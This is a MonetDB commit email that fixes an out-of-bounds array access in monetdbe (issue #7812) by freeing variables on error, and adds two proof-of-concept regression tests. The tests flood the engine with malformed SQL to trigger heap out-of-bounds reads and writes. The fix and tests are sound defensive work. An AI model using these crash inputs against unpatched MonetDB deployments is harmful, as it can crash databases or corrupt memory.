Changeset: a872ae854210 for MonetDB
URL: https://dev.monetdb.org/hg/MonetDB/rev/a872ae854210
Added Files:
ctest/tools/monetdbe/Tests/demo_oob_read.sh
ctest/tools/monetdbe/Tests/demo_oob_write.sh
ctest/tools/monetdbe/demo_oob_read.c
ctest/tools/monetdbe/demo_oob_write.c
Modified Files:
MonetDB.spec
ctest/tools/monetdbe/CMakeLists.txt
ctest/tools/monetdbe/Tests/All
debian/monetdb-embedded-testing.install
tools/monetdbe/monetdbe.c
Branch: Dec2025
Log Message:
add fix for issue #7812
Properly cleanup the variables on error. Besides the cleanup, this
resets the vtop to 1, solving the out of bound array access reported
in issue #7812.
The tests were provided by @LeeSinLiang from Team-Atlanta, much appreciated.
diffs (262 lines):
diff --git a/MonetDB.spec b/MonetDB.spec
--- a/MonetDB.spec
+++ b/MonetDB.spec
@@ -868,6 +868,8 @@ package. You probably don't need this,
%{_bindir}/example_proxy
%{_bindir}/example_sessions
%{_bindir}/example_temporal
+%{_bindir}/demo_oob_read
+%{_bindir}/demo_oob_write
%package testing-python
Summary: MonetDB - Monet Database Management System
diff --git a/ctest/tools/monetdbe/CMakeLists.txt
b/ctest/tools/monetdbe/CMakeLists.txt
--- a/ctest/tools/monetdbe/CMakeLists.txt
+++ b/ctest/tools/monetdbe/CMakeLists.txt
@@ -90,6 +90,20 @@ if(NOT MONETDB_STATIC)
monetdbe)
add_test(NAME run_example_sessions COMMAND example_sessions)
+ add_executable(demo_oob_read demo_oob_read.c)
+ target_link_libraries(demo_oob_read
+ PRIVATE
+ monetdb_config_header
+ monetdbe)
+ add_test(NAME run_demo_oob_read COMMAND demo_oob_read)
+
+ add_executable(demo_oob_write demo_oob_write.c)
+ target_link_libraries(demo_oob_write
+ PRIVATE
+ monetdb_config_header
+ monetdbe)
+ add_test(NAME run_demo_oob_write COMMAND demo_oob_write)
+
if(WITH_CMOCKA)
add_executable(cmocka_test cmocka_test.c test_helper.c)
target_include_directories(cmocka_test PRIVATE "${CMOCKA_INCLUDE_DIR}")
@@ -120,6 +134,8 @@ if(NOT MONETDB_STATIC)
example_proxy
example_sessions
example_temporal
+ demo_oob_read
+ demo_oob_write
DESTINATION ${CMAKE_INSTALL_BINDIR}
COMPONENT mbeddedtest)
diff --git a/ctest/tools/monetdbe/Tests/All b/ctest/tools/monetdbe/Tests/All
--- a/ctest/tools/monetdbe/Tests/All
+++ b/ctest/tools/monetdbe/Tests/All
@@ -10,3 +10,5 @@ example_decimals
example_proxy
example_sessions
example_temporal
+demo_oob_read
+demo_oob_write
diff --git a/ctest/tools/monetdbe/Tests/demo_oob_read.sh
b/ctest/tools/monetdbe/Tests/demo_oob_read.sh
new file mode 100755
--- /dev/null
+++ b/ctest/tools/monetdbe/Tests/demo_oob_read.sh
@@ -0,0 +1,2 @@
+#!/bin/sh
+demo_oob_read > /dev/null
diff --git a/ctest/tools/monetdbe/Tests/demo_oob_write.sh
b/ctest/tools/monetdbe/Tests/demo_oob_write.sh
new file mode 100755
--- /dev/null
+++ b/ctest/tools/monetdbe/Tests/demo_oob_write.sh
@@ -0,0 +1,2 @@
+#!/bin/sh
+demo_oob_write > /dev/null
diff --git a/ctest/tools/monetdbe/demo_oob_read.c
b/ctest/tools/monetdbe/demo_oob_read.c
new file mode 100644
--- /dev/null
+++ b/ctest/tools/monetdbe/demo_oob_read.c
@@ -0,0 +1,109 @@
+/*
+ * MonetDB heap-buffer-overflow PoC
+ * Triggers OOB read/write in findVariable()/setVarType() via monetdbe API.
+ *
+ * Build: gcc -fsanitize=address -g poc.c -o poc -lmonetdbe -lpthread -lm -ldl
+ * Run: ./poc [rounds]
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "monetdbe.h"
+
+static const char *crash_inputs[] = {
+ "=-",
+ "\x8d\x0a\x0a",
+ "++++\x07",
+ "{{{{{{{{{{{{",
+ "CREATE FUNCTION bad AS '",
+ "SELECT * FROM {{{{",
+ NULL
+};
+
+static const char *junk_queries[] = {
+ "INVALID",
+ "SELECT * FROM nonexistent_xyz",
+ "CREATE FUNCTION",
+ "{{syntax error}}",
+ "SELECT ''''''''",
+ "CREATE TABLE",
+ "DROP SCHEMA nope CASCADE",
+ "CALL nope()",
+ "ALTER TABLE nope ADD COLUMN x INT",
+ NULL
+};
+
+int main(int argc, char **argv)
+{
+ monetdbe_database db = NULL;
+ monetdbe_result *result = NULL;
+ char *err;
+ int errors = 0;
+ int rounds = 5000;
+
+ if (argc > 1)
+ rounds = atoi(argv[1]);
+
+ printf("monetdb heap-buffer-overflow poc\n");
+ printf("rounds: %d\n\n", rounds);
+
+ /* open db */
+ monetdbe_options opts = {0};
+ opts.memorylimit = 256;
+ opts.nr_threads = 1;
+
+ int errn = monetdbe_open(&db, NULL, &opts);
+ if (errn) {
+ fprintf(stderr, "open failed: %d\n", errn);
+ return 1;
+ }
+
+ /* setup */
+ monetdbe_query(db, "CREATE TABLE t (id INT, name VARCHAR(100))", &result,
NULL);
+ if (result) monetdbe_cleanup_result(db, result);
+ result = NULL;
+
+ monetdbe_query(db, "INSERT INTO t VALUES (1, 'test')", &result, NULL);
+ if (result) monetdbe_cleanup_result(db, result);
+ result = NULL;
+
+ /* spam error queries to push vtop past vsize */
+ printf("sending junk queries...\n");
+ for (int r = 0; r < rounds; r++) {
+ for (int i = 0; junk_queries[i]; i++) {
+ result = NULL;
+ err = monetdbe_query(db, (char *)junk_queries[i], &result, NULL);
+ if (err) errors++;
+ if (result) monetdbe_cleanup_result(db, result);
+ }
+ if (r && r % 1000 == 0)
+ printf(" %d rounds, %d errors\n", r, errors);
+ }
+ printf("done: %d rounds, %d errors\n\n", rounds, errors);
+
+ /* send crash inputs - should trigger OOB if vtop > vsize */
+ printf("sending crash inputs...\n");
+ for (int i = 0; crash_inputs[i]; i++) {
+ result = NULL;
+ err = monetdbe_query(db, (char *)crash_inputs[i], &result, NULL);
+ if (err)
+ printf(" [%d] err: %.60s\n", i, err);
+ if (result) monetdbe_cleanup_result(db, result);
+ }
+
+ /* try normal query on potentially corrupted state */
+ printf("\nnormal query after corruption:\n");
+ result = NULL;
+ err = monetdbe_query(db, "SELECT * FROM t", &result, NULL);
+ if (err)
+ printf(" failed: %s\n", err);
+ else if (result) {
+ printf(" got %zu rows\n", (size_t)result->nrows);
+ monetdbe_cleanup_result(db, result);
+ }
+
+ monetdbe_close(db);
+ printf("\ndone. if asan didn't fire, try more rounds: %s 10000\n",
argv[0]);
+ return 0;
+}
diff --git a/ctest/tools/monetdbe/demo_oob_write.c
b/ctest/tools/monetdbe/demo_oob_write.c
new file mode 100644
--- /dev/null
+++ b/ctest/tools/monetdbe/demo_oob_write.c
@@ -0,0 +1,55 @@
+/*
+ * MonetDB OOB write demo.
+ *
+ * Uses patched findVariable() that returns OOB index instead of
+ * crashing on the read. This lets setVarType() execute the write,
+ * proving the write primitive exists behind the read crash.
+ */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "monetdbe.h"
+
+static const char *junk[] = {
+ "INVALID", "CREATE FUNCTION", "{{bad}}", "SELECT ''''",
+ "DROP SCHEMA nope CASCADE", "CALL nope()", NULL
+};
+
+int main(void)
+{
+ monetdbe_database db = NULL;
+ monetdbe_result *result = NULL;
+ int errors = 0;
+
+ monetdbe_options opts = {0};
+ opts.memorylimit = 256;
+ opts.nr_threads = 1;
+
+ int errn = monetdbe_open(&db, NULL, &opts);
+ if (errn) {
+ fprintf(stderr, "open failed: %d\n", errn);
+ return 1;
+ }
+
+ printf("oob write demo (patched findVariable to skip read crash)\n\n");
+
+ printf("accumulating vtop...\n");
+ for (int r = 0; r < 10000; r++) {
+ for (int i = 0; junk[i]; i++) {
+ result = NULL;
+ monetdbe_query(db, (char *)junk[i], &result, NULL);
+ if (result) monetdbe_cleanup_result(db, result);
+ errors++;
+ }
+ }
+ printf("done: %d errors\n\n", errors);
+
+ printf("triggering oob write via setVarType...\n");
+ result = NULL;
+ monetdbe_query(db, "SELECT 1", &result, NULL);
+ if (result) monetdbe_cleanup_result(db, result);
+
+ printf("if ASAN reports a WRITE, oob write is confirmed\n");
+ monetdbe_close(db);
+ return 0;
+}
diff --git a/debian/monetdb-embedded-testing.install
b/debian/monetdb-embedded-testing.install
--- a/debian/monetdb-embedded-testing.install
+++ b/debian/monetdb-embedded-testing.install
@@ -10,3 +10,5 @@ debian/tmp/usr/bin/example_decimals usr/
debian/tmp/usr/bin/example_proxy usr/bin
debian/tmp/usr/bin/example_sessions usr/bin
debian/tmp/usr/bin/example_temporal usr/bin
+debian/tmp/usr/bin/demo_oob_read usr/bin
+debian/tmp/usr/bin/demo_oob_write usr/bin
diff --git a/tools/monetdbe/monetdbe.c b/tools/monetdbe/monetdbe.c
--- a/tools/monetdbe/monetdbe.c
+++ b/tools/monetdbe/monetdbe.c
@@ -430,6 +430,7 @@ cleanup:
if (nq)
GDKfree(nq);
MSresetInstructions(c->curprg->def, 1);
+ freeVariables(c, c->curprg->def, NULL, 1);
if (fdin_changed) { //c->fdin was set
bstream_destroy(c->fdin);
c->fdin = old_bstream;
_______________________________________________
checkin-list mailing list -- [email protected]
To unsubscribe send an email to [email protected]